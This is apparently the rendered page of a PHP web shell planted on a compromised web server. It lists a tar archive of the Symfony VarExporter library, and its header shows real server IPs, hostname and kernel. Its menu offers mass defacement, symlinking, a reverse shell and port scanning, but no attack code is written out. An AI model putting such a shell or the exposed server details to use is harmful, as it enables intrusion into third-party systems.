ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
fixtures
/
assert
/
Viewing: var-exporter.tar
Exception/ClassNotFoundException.php 0000644 00000001041 15120140352 0013601 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\VarExporter\Exception; class ClassNotFoundException extends \Exception implements ExceptionInterface { public function __construct(string $class, \Throwable $previous = null) { parent::__construct(sprintf('Class "%s" not found.', $class), 0, $previous); } } Exception/ExceptionInterface.php 0000644 00000000526 15120140353 0012767 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\VarExporter\Exception; interface ExceptionInterface extends \Throwable { } Exception/NotInstantiableTypeException.php 0000644 00000001056 15120140353 0015026 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\VarExporter\Exception; class NotInstantiableTypeException extends \Exception implements ExceptionInterface { public function __construct(string $type, \Throwable $previous = null) { parent::__construct(sprintf('Type "%s" is not instantiable.', $type), 0, $previous); } } Internal/Exporter.php 0000644 00000037636 15120140353 0010652 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\VarExporter\Internal; use Symfony\Component\VarExporter\Exception\NotInstantiableTypeException; /** * @author Nicolas Grekas <p@tchwork.com> * * @internal */ class Exporter { /** * Prepares an array of values for VarExporter. * * For performance this method is public and has no type-hints. * * @param array &$values * @param \SplObjectStorage $objectsPool * @param array &$refsPool * @param int &$objectsCount * @param bool &$valuesAreStatic * * @throws NotInstantiableTypeException When a value cannot be serialized */ public static function prepare($values, $objectsPool, &$refsPool, &$objectsCount, &$valuesAreStatic): array { $refs = $values; foreach ($values as $k => $value) { if (\is_resource($value)) { throw new NotInstantiableTypeException(get_resource_type($value).' resource'); } $refs[$k] = $objectsPool; if ($isRef = !$valueIsStatic = $values[$k] !== $objectsPool) { $values[$k] = &$value; // Break hard references to make $values completely unset($value); // independent from the original structure $refs[$k] = $value = $values[$k]; if ($value instanceof Reference && 0 > $value->id) { $valuesAreStatic = false; ++$value->count; continue; } $refsPool[] = [&$refs[$k], $value, &$value]; $refs[$k] = $values[$k] = new Reference(-\count($refsPool), $value); } if (\is_array($value)) { if ($value) { $value = self::prepare($value, $objectsPool, $refsPool, $objectsCount, $valueIsStatic); } goto handle_value; } elseif (!\is_object($value) || $value instanceof \UnitEnum) { goto handle_value; } $valueIsStatic = false; if (isset($objectsPool[$value])) { ++$objectsCount; $value = new Reference($objectsPool[$value][0]); goto handle_value; } $class = \get_class($value); $reflector = Registry::$reflectors[$class] ?? Registry::getClassReflector($class); if ($reflector->hasMethod('__serialize')) { if (!$reflector->getMethod('__serialize')->isPublic()) { throw new \Error(sprintf('Call to %s method "%s::__serialize()".', $reflector->getMethod('__serialize')->isProtected() ? 'protected' : 'private', $class)); } if (!\is_array($properties = $value->__serialize())) { throw new \TypeError($class.'::__serialize() must return an array'); } goto prepare_value; } $properties = []; $sleep = null; $proto = Registry::$prototypes[$class]; if (($value instanceof \ArrayIterator || $value instanceof \ArrayObject) && null !== $proto) { // ArrayIterator and ArrayObject need special care because their "flags" // option changes the behavior of the (array) casting operator. [$arrayValue, $properties] = self::getArrayObjectProperties($value, $proto); // populates Registry::$prototypes[$class] with a new instance Registry::getClassReflector($class, Registry::$instantiableWithoutConstructor[$class], Registry::$cloneable[$class]); } elseif ($value instanceof \SplObjectStorage && Registry::$cloneable[$class] && null !== $proto) { // By implementing Serializable, SplObjectStorage breaks // internal references; let's deal with it on our own. foreach (clone $value as $v) { $properties[] = $v; $properties[] = $value[$v]; } $properties = ['SplObjectStorage' => ["\0" => $properties]]; $arrayValue = (array) $value; } elseif ($value instanceof \Serializable || $value instanceof \__PHP_Incomplete_Class || \PHP_VERSION_ID < 80200 && $value instanceof \DatePeriod ) { ++$objectsCount; $objectsPool[$value] = [$id = \count($objectsPool), serialize($value), [], 0]; $value = new Reference($id); goto handle_value; } else { if (method_exists($class, '__sleep')) { if (!\is_array($sleep = $value->__sleep())) { trigger_error('serialize(): __sleep should return an array only containing the names of instance-variables to serialize', \E_USER_NOTICE); $value = null; goto handle_value; } $sleep = array_flip($sleep); } $arrayValue = (array) $value; } $proto = (array) $proto; foreach ($arrayValue as $name => $v) { $i = 0; $n = (string) $name; if ('' === $n || "\0" !== $n[0]) { $c = \PHP_VERSION_ID >= 80100 && $reflector->hasProperty($n) && ($p = $reflector->getProperty($n))->isReadOnly() ? $p->class : 'stdClass'; } elseif ('*' === $n[1]) { $n = substr($n, 3); $c = $reflector->getProperty($n)->class; if ('Error' === $c) { $c = 'TypeError'; } elseif ('Exception' === $c) { $c = 'ErrorException'; } } else { $i = strpos($n, "\0", 2); $c = substr($n, 1, $i - 1); $n = substr($n, 1 + $i); } if (null !== $sleep) { if (!isset($sleep[$n]) || ($i && $c !== $class)) { unset($arrayValue[$name]); continue; } $sleep[$n] = false; } if (!\array_key_exists($name, $proto) || $proto[$name] !== $v || "\x00Error\x00trace" === $name || "\x00Exception\x00trace" === $name) { $properties[$c][$n] = $v; } } if ($sleep) { foreach ($sleep as $n => $v) { if (false !== $v) { trigger_error(sprintf('serialize(): "%s" returned as member variable from __sleep() but does not exist', $n), \E_USER_NOTICE); } } } if (method_exists($class, '__unserialize')) { $properties = $arrayValue; } prepare_value: $objectsPool[$value] = [$id = \count($objectsPool)]; $properties = self::prepare($properties, $objectsPool, $refsPool, $objectsCount, $valueIsStatic); ++$objectsCount; $objectsPool[$value] = [$id, $class, $properties, method_exists($class, '__unserialize') ? -$objectsCount : (method_exists($class, '__wakeup') ? $objectsCount : 0)]; $value = new Reference($id); handle_value: if ($isRef) { unset($value); // Break the hard reference created above } elseif (!$valueIsStatic) { $values[$k] = $value; } $valuesAreStatic = $valueIsStatic && $valuesAreStatic; } return $values; } public static function export($value, string $indent = '') { switch (true) { case \is_int($value) || \is_float($value): return var_export($value, true); case [] === $value: return '[]'; case false === $value: return 'false'; case true === $value: return 'true'; case null === $value: return 'null'; case '' === $value: return "''"; case $value instanceof \UnitEnum: return '\\'.ltrim(var_export($value, true), '\\'); } if ($value instanceof Reference) { if (0 <= $value->id) { return '$o['.$value->id.']'; } if (!$value->count) { return self::export($value->value, $indent); } $value = -$value->id; return '&$r['.$value.']'; } $subIndent = $indent.' '; if (\is_string($value)) { $code = sprintf("'%s'", addcslashes($value, "'\\")); $code = preg_replace_callback("/((?:[\\0\\r\\n]|\u{202A}|\u{202B}|\u{202D}|\u{202E}|\u{2066}|\u{2067}|\u{2068}|\u{202C}|\u{2069})++)(.)/", function ($m) use ($subIndent) { $m[1] = sprintf('\'."%s".\'', str_replace( ["\0", "\r", "\n", "\u{202A}", "\u{202B}", "\u{202D}", "\u{202E}", "\u{2066}", "\u{2067}", "\u{2068}", "\u{202C}", "\u{2069}", '\n\\'], ['\0', '\r', '\n', '\u{202A}', '\u{202B}', '\u{202D}', '\u{202E}', '\u{2066}', '\u{2067}', '\u{2068}', '\u{202C}', '\u{2069}', '\n"'."\n".$subIndent.'."\\'], $m[1] )); if ("'" === $m[2]) { return substr($m[1], 0, -2); } if ('n".\'' === substr($m[1], -4)) { return substr_replace($m[1], "\n".$subIndent.".'".$m[2], -2); } return $m[1].$m[2]; }, $code, -1, $count); if ($count && str_starts_with($code, "''.")) { $code = substr($code, 3); } return $code; } if (\is_array($value)) { $j = -1; $code = ''; foreach ($value as $k => $v) { $code .= $subIndent; if (!\is_int($k) || 1 !== $k - $j) { $code .= self::export($k, $subIndent).' => '; } if (\is_int($k) && $k > $j) { $j = $k; } $code .= self::export($v, $subIndent).",\n"; } return "[\n".$code.$indent.']'; } if ($value instanceof Values) { $code = $subIndent."\$r = [],\n"; foreach ($value->values as $k => $v) { $code .= $subIndent.'$r['.$k.'] = '.self::export($v, $subIndent).",\n"; } return "[\n".$code.$indent.']'; } if ($value instanceof Registry) { return self::exportRegistry($value, $indent, $subIndent); } if ($value instanceof Hydrator) { return self::exportHydrator($value, $indent, $subIndent); } throw new \UnexpectedValueException(sprintf('Cannot export value of type "%s".', get_debug_type($value))); } private static function exportRegistry(Registry $value, string $indent, string $subIndent): string { $code = ''; $serializables = []; $seen = []; $prototypesAccess = 0; $factoriesAccess = 0; $r = '\\'.Registry::class; $j = -1; foreach ($value->classes as $k => $class) { if (':' === ($class[1] ?? null)) { $serializables[$k] = $class; continue; } if (!Registry::$instantiableWithoutConstructor[$class]) { if (is_subclass_of($class, 'Serializable') && !method_exists($class, '__unserialize')) { $serializables[$k] = 'C:'.\strlen($class).':"'.$class.'":0:{}'; } else { $serializables[$k] = 'O:'.\strlen($class).':"'.$class.'":0:{}'; } if (is_subclass_of($class, 'Throwable')) { $eol = is_subclass_of($class, 'Error') ? "\0Error\0" : "\0Exception\0"; $serializables[$k] = substr_replace($serializables[$k], '1:{s:'.(5 + \strlen($eol)).':"'.$eol.'trace";a:0:{}}', -4); } continue; } $code .= $subIndent.(1 !== $k - $j ? $k.' => ' : ''); $j = $k; $eol = ",\n"; $c = '['.self::export($class).']'; if ($seen[$class] ?? false) { if (Registry::$cloneable[$class]) { ++$prototypesAccess; $code .= 'clone $p'.$c; } else { ++$factoriesAccess; $code .= '$f'.$c.'()'; } } else { $seen[$class] = true; if (Registry::$cloneable[$class]) { $code .= 'clone ('.($prototypesAccess++ ? '$p' : '($p = &'.$r.'::$prototypes)').$c.' ?? '.$r.'::p'; } else { $code .= '('.($factoriesAccess++ ? '$f' : '($f = &'.$r.'::$factories)').$c.' ?? '.$r.'::f'; $eol = '()'.$eol; } $code .= '('.substr($c, 1, -1).'))'; } $code .= $eol; } if (1 === $prototypesAccess) { $code = str_replace('($p = &'.$r.'::$prototypes)', $r.'::$prototypes', $code); } if (1 === $factoriesAccess) { $code = str_replace('($f = &'.$r.'::$factories)', $r.'::$factories', $code); } if ('' !== $code) { $code = "\n".$code.$indent; } if ($serializables) { $code = $r.'::unserialize(['.$code.'], '.self::export($serializables, $indent).')'; } else { $code = '['.$code.']'; } return '$o = '.$code; } private static function exportHydrator(Hydrator $value, string $indent, string $subIndent): string { $code = ''; foreach ($value->properties as $class => $properties) { $code .= $subIndent.' '.self::export($class).' => '.self::export($properties, $subIndent.' ').",\n"; } $code = [ self::export($value->registry, $subIndent), self::export($value->values, $subIndent), '' !== $code ? "[\n".$code.$subIndent.']' : '[]', self::export($value->value, $subIndent), self::export($value->wakeups, $subIndent), ]; return '\\'.\get_class($value)."::hydrate(\n".$subIndent.implode(",\n".$subIndent, $code)."\n".$indent.')'; } /** * @param \ArrayIterator|\ArrayObject $value * @param \ArrayIterator|\ArrayObject $proto */ private static function getArrayObjectProperties($value, $proto): array { $reflector = $value instanceof \ArrayIterator ? 'ArrayIterator' : 'ArrayObject'; $reflector = Registry::$reflectors[$reflector] ?? Registry::getClassReflector($reflector); $properties = [ $arrayValue = (array) $value, $reflector->getMethod('getFlags')->invoke($value), $value instanceof \ArrayObject ? $reflector->getMethod('getIteratorClass')->invoke($value) : 'ArrayIterator', ]; $reflector = $reflector->getMethod('setFlags'); $reflector->invoke($proto, \ArrayObject::STD_PROP_LIST); if ($properties[1] & \ArrayObject::STD_PROP_LIST) { $reflector->invoke($value, 0); $properties[0] = (array) $value; } else { $reflector->invoke($value, \ArrayObject::STD_PROP_LIST); $arrayValue = (array) $value; } $reflector->invoke($value, $properties[1]); if ([[], 0, 'ArrayIterator'] === $properties) { $properties = []; } else { if ('ArrayIterator' === $properties[2]) { unset($properties[2]); } $properties = [$reflector->class => ["\0" => $properties]]; } return [$arrayValue, $properties]; } } Internal/Hydrator.php 0000644 00000012470 15120140353 0010623 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\VarExporter\Internal; use Symfony\Component\VarExporter\Exception\ClassNotFoundException; /** * @author Nicolas Grekas <p@tchwork.com> * * @internal */ class Hydrator { public static $hydrators = []; public $registry; public $values; public $properties; public $value; public $wakeups; public function __construct(?Registry $registry, ?Values $values, array $properties, $value, array $wakeups) { $this->registry = $registry; $this->values = $values; $this->properties = $properties; $this->value = $value; $this->wakeups = $wakeups; } public static function hydrate($objects, $values, $properties, $value, $wakeups) { foreach ($properties as $class => $vars) { (self::$hydrators[$class] ?? self::getHydrator($class))($vars, $objects); } foreach ($wakeups as $k => $v) { if (\is_array($v)) { $objects[-$k]->__unserialize($v); } else { $objects[$v]->__wakeup(); } } return $value; } public static function getHydrator($class) { switch ($class) { case 'stdClass': return self::$hydrators[$class] = static function ($properties, $objects) { foreach ($properties as $name => $values) { foreach ($values as $i => $v) { $objects[$i]->$name = $v; } } }; case 'ErrorException': return self::$hydrators[$class] = (self::$hydrators['stdClass'] ?? self::getHydrator('stdClass'))->bindTo(null, new class() extends \ErrorException { }); case 'TypeError': return self::$hydrators[$class] = (self::$hydrators['stdClass'] ?? self::getHydrator('stdClass'))->bindTo(null, new class() extends \Error { }); case 'SplObjectStorage': return self::$hydrators[$class] = static function ($properties, $objects) { foreach ($properties as $name => $values) { if ("\0" === $name) { foreach ($values as $i => $v) { for ($j = 0; $j < \count($v); ++$j) { $objects[$i]->attach($v[$j], $v[++$j]); } } continue; } foreach ($values as $i => $v) { $objects[$i]->$name = $v; } } }; } if (!class_exists($class) && !interface_exists($class, false) && !trait_exists($class, false)) { throw new ClassNotFoundException($class); } $classReflector = new \ReflectionClass($class); switch ($class) { case 'ArrayIterator': case 'ArrayObject': $constructor = \Closure::fromCallable([$classReflector->getConstructor(), 'invokeArgs']); return self::$hydrators[$class] = static function ($properties, $objects) use ($constructor) { foreach ($properties as $name => $values) { if ("\0" !== $name) { foreach ($values as $i => $v) { $objects[$i]->$name = $v; } } } foreach ($properties["\0"] ?? [] as $i => $v) { $constructor($objects[$i], $v); } }; } if (!$classReflector->isInternal()) { return self::$hydrators[$class] = (self::$hydrators['stdClass'] ?? self::getHydrator('stdClass'))->bindTo(null, $class); } if ($classReflector->name !== $class) { return self::$hydrators[$classReflector->name] ?? self::getHydrator($classReflector->name); } $propertySetters = []; foreach ($classReflector->getProperties() as $propertyReflector) { if (!$propertyReflector->isStatic()) { $propertyReflector->setAccessible(true); $propertySetters[$propertyReflector->name] = \Closure::fromCallable([$propertyReflector, 'setValue']); } } if (!$propertySetters) { return self::$hydrators[$class] = self::$hydrators['stdClass'] ?? self::getHydrator('stdClass'); } return self::$hydrators[$class] = static function ($properties, $objects) use ($propertySetters) { foreach ($properties as $name => $values) { if ($setValue = $propertySetters[$name] ?? null) { foreach ($values as $i => $v) { $setValue($objects[$i], $v); } continue; } foreach ($values as $i => $v) { $objects[$i]->$name = $v; } } }; } } Internal/Reference.php 0000644 00000001056 15120140353 0010723 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\VarExporter\Internal; /** * @author Nicolas Grekas <p@tchwork.com> * * @internal */ class Reference { public $id; public $value; public $count = 0; public function __construct(int $id, $value = null) { $this->id = $id; $this->value = $value; } } Internal/Registry.php 0000644 00000013076 15120140353 0010642 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\VarExporter\Internal; use Symfony\Component\VarExporter\Exception\ClassNotFoundException; use Symfony\Component\VarExporter\Exception\NotInstantiableTypeException; /** * @author Nicolas Grekas <p@tchwork.com> * * @internal */ class Registry { public static $reflectors = []; public static $prototypes = []; public static $factories = []; public static $cloneable = []; public static $instantiableWithoutConstructor = []; public $classes = []; public function __construct(array $classes) { $this->classes = $classes; } public static function unserialize($objects, $serializables) { $unserializeCallback = ini_set('unserialize_callback_func', __CLASS__.'::getClassReflector'); try { foreach ($serializables as $k => $v) { $objects[$k] = unserialize($v); } } finally { ini_set('unserialize_callback_func', $unserializeCallback); } return $objects; } public static function p($class) { self::getClassReflector($class, true, true); return self::$prototypes[$class]; } public static function f($class) { $reflector = self::$reflectors[$class] ?? self::getClassReflector($class, true, false); return self::$factories[$class] = \Closure::fromCallable([$reflector, 'newInstanceWithoutConstructor']); } public static function getClassReflector($class, $instantiableWithoutConstructor = false, $cloneable = null) { if (!($isClass = class_exists($class)) && !interface_exists($class, false) && !trait_exists($class, false)) { throw new ClassNotFoundException($class); } $reflector = new \ReflectionClass($class); if ($instantiableWithoutConstructor) { $proto = $reflector->newInstanceWithoutConstructor(); } elseif (!$isClass || $reflector->isAbstract()) { throw new NotInstantiableTypeException($class); } elseif ($reflector->name !== $class) { $reflector = self::$reflectors[$name = $reflector->name] ?? self::getClassReflector($name, false, $cloneable); self::$cloneable[$class] = self::$cloneable[$name]; self::$instantiableWithoutConstructor[$class] = self::$instantiableWithoutConstructor[$name]; self::$prototypes[$class] = self::$prototypes[$name]; return self::$reflectors[$class] = $reflector; } else { try { $proto = $reflector->newInstanceWithoutConstructor(); $instantiableWithoutConstructor = true; } catch (\ReflectionException $e) { $proto = $reflector->implementsInterface('Serializable') && !method_exists($class, '__unserialize') ? 'C:' : 'O:'; if ('C:' === $proto && !$reflector->getMethod('unserialize')->isInternal()) { $proto = null; } else { try { $proto = @unserialize($proto.\strlen($class).':"'.$class.'":0:{}'); } catch (\Exception $e) { if (__FILE__ !== $e->getFile()) { throw $e; } throw new NotInstantiableTypeException($class, $e); } if (false === $proto) { throw new NotInstantiableTypeException($class); } } } if (null !== $proto && !$proto instanceof \Throwable && !$proto instanceof \Serializable && !method_exists($class, '__sleep') && (\PHP_VERSION_ID < 70400 || !method_exists($class, '__serialize'))) { try { serialize($proto); } catch (\Exception $e) { throw new NotInstantiableTypeException($class, $e); } } } if (null === $cloneable) { if (($proto instanceof \Reflector || $proto instanceof \ReflectionGenerator || $proto instanceof \ReflectionType || $proto instanceof \IteratorIterator || $proto instanceof \RecursiveIteratorIterator) && (!$proto instanceof \Serializable && !method_exists($proto, '__wakeup') && (\PHP_VERSION_ID < 70400 || !method_exists($class, '__unserialize')))) { throw new NotInstantiableTypeException($class); } $cloneable = $reflector->isCloneable() && !$reflector->hasMethod('__clone'); } self::$cloneable[$class] = $cloneable; self::$instantiableWithoutConstructor[$class] = $instantiableWithoutConstructor; self::$prototypes[$class] = $proto; if ($proto instanceof \Throwable) { static $setTrace; if (null === $setTrace) { $setTrace = [ new \ReflectionProperty(\Error::class, 'trace'), new \ReflectionProperty(\Exception::class, 'trace'), ]; $setTrace[0]->setAccessible(true); $setTrace[1]->setAccessible(true); $setTrace[0] = \Closure::fromCallable([$setTrace[0], 'setValue']); $setTrace[1] = \Closure::fromCallable([$setTrace[1], 'setValue']); } $setTrace[$proto instanceof \Exception]($proto, []); } return self::$reflectors[$class] = $reflector; } } Internal/Values.php 0000644 00000000745 15120140353 0010270 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\VarExporter\Internal; /** * @author Nicolas Grekas <p@tchwork.com> * * @internal */ class Values { public $values; public function __construct(array $values) { $this->values = $values; } } CHANGELOG.md 0000644 00000000263 15120140353 0006350 0 ustar 00 CHANGELOG ========= 5.1.0 ----- * added argument `array &$foundClasses` to `VarExporter::export()` to ease with preloading exported values 4.2.0 ----- * added the component Instantiator.php 0000644 00000007536 15120140353 0007741 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\VarExporter; use Symfony\Component\VarExporter\Exception\ExceptionInterface; use Symfony\Component\VarExporter\Exception\NotInstantiableTypeException; use Symfony\Component\VarExporter\Internal\Hydrator; use Symfony\Component\VarExporter\Internal\Registry; /** * A utility class to create objects without calling their constructor. * * @author Nicolas Grekas <p@tchwork.com> */ final class Instantiator { /** * Creates an object and sets its properties without calling its constructor nor any other methods. * * For example: * * // creates an empty instance of Foo * Instantiator::instantiate(Foo::class); * * // creates a Foo instance and sets one of its properties * Instantiator::instantiate(Foo::class, ['propertyName' => $propertyValue]); * * // creates a Foo instance and sets a private property defined on its parent Bar class * Instantiator::instantiate(Foo::class, [], [ * Bar::class => ['privateBarProperty' => $propertyValue], * ]); * * Instances of ArrayObject, ArrayIterator and SplObjectStorage can be created * by using the special "\0" property name to define their internal value: * * // creates an SplObjectStorage where $info1 is attached to $obj1, etc. * Instantiator::instantiate(SplObjectStorage::class, ["\0" => [$obj1, $info1, $obj2, $info2...]]); * * // creates an ArrayObject populated with $inputArray * Instantiator::instantiate(ArrayObject::class, ["\0" => [$inputArray]]); * * @param string $class The class of the instance to create * @param array $properties The properties to set on the instance * @param array $privateProperties The private properties to set on the instance, * keyed by their declaring class * * @throws ExceptionInterface When the instance cannot be created */ public static function instantiate(string $class, array $properties = [], array $privateProperties = []): object { $reflector = Registry::$reflectors[$class] ?? Registry::getClassReflector($class); if (Registry::$cloneable[$class]) { $wrappedInstance = [clone Registry::$prototypes[$class]]; } elseif (Registry::$instantiableWithoutConstructor[$class]) { $wrappedInstance = [$reflector->newInstanceWithoutConstructor()]; } elseif (null === Registry::$prototypes[$class]) { throw new NotInstantiableTypeException($class); } elseif ($reflector->implementsInterface('Serializable') && (\PHP_VERSION_ID < 70400 || !method_exists($class, '__unserialize'))) { $wrappedInstance = [unserialize('C:'.\strlen($class).':"'.$class.'":0:{}')]; } else { $wrappedInstance = [unserialize('O:'.\strlen($class).':"'.$class.'":0:{}')]; } if ($properties) { $privateProperties[$class] = isset($privateProperties[$class]) ? $properties + $privateProperties[$class] : $properties; } foreach ($privateProperties as $class => $properties) { if (!$properties) { continue; } foreach ($properties as $name => $value) { // because they're also used for "unserialization", hydrators // deal with array of instances, so we need to wrap values $properties[$name] = [$value]; } (Hydrator::$hydrators[$class] ?? Hydrator::getHydrator($class))($properties, $wrappedInstance); } return $wrappedInstance[0]; } } LICENSE 0000644 00000002054 15120140353 0005544 0 ustar 00 Copyright (c) 2018-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. README.md 0000644 00000003364 15120140353 0006023 0 ustar 00 VarExporter Component ===================== The VarExporter component allows exporting any serializable PHP data structure to plain PHP code. While doing so, it preserves all the semantics associated with the serialization mechanism of PHP (`__wakeup`, `__sleep`, `Serializable`, `__serialize`, `__unserialize`). It also provides an instantiator that allows creating and populating objects without calling their constructor nor any other methods. The reason to use this component *vs* `serialize()` or [igbinary](https://github.com/igbinary/igbinary) is performance: thanks to OPcache, the resulting code is significantly faster and more memory efficient than using `unserialize()` or `igbinary_unserialize()`. Unlike `var_export()`, this works on any serializable PHP value. It also provides a few improvements over `var_export()`/`serialize()`: * the output is PSR-2 compatible; * the output can be re-indented without messing up with `\r` or `\n` in the data * missing classes throw a `ClassNotFoundException` instead of being unserialized to `PHP_Incomplete_Class` objects; * references involving `SplObjectStorage`, `ArrayObject` or `ArrayIterator` instances are preserved; * `Reflection*`, `IteratorIterator` and `RecursiveIteratorIterator` classes throw an exception when being serialized (their unserialized version is broken anyway, see https://bugs.php.net/76737). Resources --------- * [Documentation](https://symfony.com/doc/current/components/var_exporter.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) VarExporter.php 0000644 00000007067 15120140353 0007542 0 ustar 00 <?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\VarExporter; use Symfony\Component\VarExporter\Exception\ExceptionInterface; use Symfony\Component\VarExporter\Internal\Exporter; use Symfony\Component\VarExporter\Internal\Hydrator; use Symfony\Component\VarExporter\Internal\Registry; use Symfony\Component\VarExporter\Internal\Values; /** * Exports serializable PHP values to PHP code. * * VarExporter allows serializing PHP data structures to plain PHP code (like var_export()) * while preserving all the semantics associated with serialize() (unlike var_export()). * * By leveraging OPcache, the generated PHP code is faster than doing the same with unserialize(). * * @author Nicolas Grekas <p@tchwork.com> */ final class VarExporter { /** * Exports a serializable PHP value to PHP code. * * @param mixed $value The value to export * @param bool &$isStaticValue Set to true after execution if the provided value is static, false otherwise * @param array &$foundClasses Classes found in the value are added to this list as both keys and values * * @throws ExceptionInterface When the provided value cannot be serialized */ public static function export($value, bool &$isStaticValue = null, array &$foundClasses = []): string { $isStaticValue = true; if (!\is_object($value) && !(\is_array($value) && $value) && !\is_resource($value) || $value instanceof \UnitEnum) { return Exporter::export($value); } $objectsPool = new \SplObjectStorage(); $refsPool = []; $objectsCount = 0; try { $value = Exporter::prepare([$value], $objectsPool, $refsPool, $objectsCount, $isStaticValue)[0]; } finally { $references = []; foreach ($refsPool as $i => $v) { if ($v[0]->count) { $references[1 + $i] = $v[2]; } $v[0] = $v[1]; } } if ($isStaticValue) { return Exporter::export($value); } $classes = []; $values = []; $states = []; foreach ($objectsPool as $i => $v) { [, $class, $values[], $wakeup] = $objectsPool[$v]; $foundClasses[$class] = $classes[] = $class; if (0 < $wakeup) { $states[$wakeup] = $i; } elseif (0 > $wakeup) { $states[-$wakeup] = [$i, array_pop($values)]; $values[] = []; } } ksort($states); $wakeups = [null]; foreach ($states as $k => $v) { if (\is_array($v)) { $wakeups[-$v[0]] = $v[1]; } else { $wakeups[] = $v; } } if (null === $wakeups[0]) { unset($wakeups[0]); } $properties = []; foreach ($values as $i => $vars) { foreach ($vars as $class => $values) { foreach ($values as $name => $v) { $properties[$class][$name][$i] = $v; } } } if ($classes || $references) { $value = new Hydrator(new Registry($classes), $references ? new Values($references) : null, $properties, $value, $wakeups); } else { $isStaticValue = true; } return Exporter::export($value); } } composer.json 0000644 00000001606 15120140353 0007263 0 ustar 00 { "name": "symfony/var-exporter", "type": "library", "description": "Allows exporting any serializable PHP data structure to plain PHP code", "keywords": ["export", "serialize", "instantiate", "hydrate", "construct", "clone"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=7.2.5", "symfony/polyfill-php80": "^1.16" }, "require-dev": { "symfony/var-dumper": "^4.4.9|^5.0.9|^6.0" }, "autoload": { "psr-4": { "Symfony\\Component\\VarExporter\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" }
Coded With 💗 by
0x6ick